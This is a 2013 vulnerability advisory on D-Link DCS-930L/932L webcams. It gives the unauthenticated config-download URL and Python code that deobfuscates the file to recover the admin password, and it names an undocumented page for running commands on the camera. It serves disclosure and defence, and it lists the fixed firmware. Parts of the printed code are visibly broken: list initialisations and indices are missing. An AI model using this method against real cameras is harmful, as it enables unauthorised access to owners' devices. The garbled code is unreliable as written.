Unauthenticated remote access to D-Link DCS cameras =================================================== [ADVISORY INFORMATION] Title: Unauthenticated remote access to D-Link DCS cameras Discovery date: 20/06/2012 Release date: 28/01/2013 Credits: Roberto Paleari (firstname.lastname@example.org, twitter: @rpaleari) [VULNERABILITY INFORMATION] Class: Authentication bypass, Remote command execution [AFFECTED PRODUCTS] This security vulnerability affects the following products and firmware versions: * D-Link DCS-930L, firmware version 1.04 * D-Link DCS-932L, firmware version 1.02 Other products and firmware versions are probably also vulnerable, but they were not checked. [VULNERABILITY DETAILS] D-Link DCS web cameras allow unauthenticated attackers to obtain the configuration of the device remotely. A copy of the device configuration can be obtained by accessing the following URL: http://<device IP address>/frame/GetConfig The obtained configuration file is obfuscated using a trivial obfuscation scheme. Python code for the deobfuscation follows (sorry, the code is quite a mess :-)): <cut> # 'data' holds the content of the obfuscated configuration file def deobfuscate(data): r =  for c in data: c = ord(c) c = (c + ord('y')) & 0xff c = (c ^ ord('Z')) & 0xff c = (c - ord('e')) & 0xff r.append(c) tmp = None i = len(r) - 1 while i >= 0: if i == len(r) - 1: x = r[i] tmp = ((x & 7) << 5) & 0xff if i == 0: assert tmp is not None x = r x = (x >> 3) & 0xff x = (x + tmp) & 0xff r = x else: c1 = r[i-1] c2 = r[i] c1 = c1 & 0x7 c2 = (c2 >> 3) & 0xff c1 = (c1 << 5) & 0xff c2 = (c2 + c1) & 0xff r[i] = c2 i = i - 1 r = "".join([chr(x) for x in r]) s = "" assert (len(r) % 2) == 0 for i in range(len(r)/2): s += r[i+(len(r)/2)] + r[i] return s </cut> The above procedure returns the deobfuscated ASCII version of the configuration file. This file includes, among other things, also the web password for the "admin" user. As a side note, it is worth considering that, after exploiting this issue, authenticated attackers can also leverage the undocumented /docmd.htm web page to execute arbitrary commands on the affected devices. [REMEDIATION] This issue has been addressed by D-Link in the following firmware releases: * DCS-930L V1.06B5 (August 15, 2012) * DCS-932L V1.04B5 (August 15, 2012) These updates are available through mydlink.com and have also been implemented on DCS-942L and higher camera products. [DISCLOSURE TIME-LINE] * 20/06/2012 - Initial vendor contact. * 11/07/2012 - The author provided D-Link with the details of the vulnerability. * 12/07/2012 - D-Link confirmed the issue is a new security vulnerability. * 26/01/2013 - D-Link confirmed the release of firmware versions that address the vulnerability. * 28/01/2013 - Public disclosure.
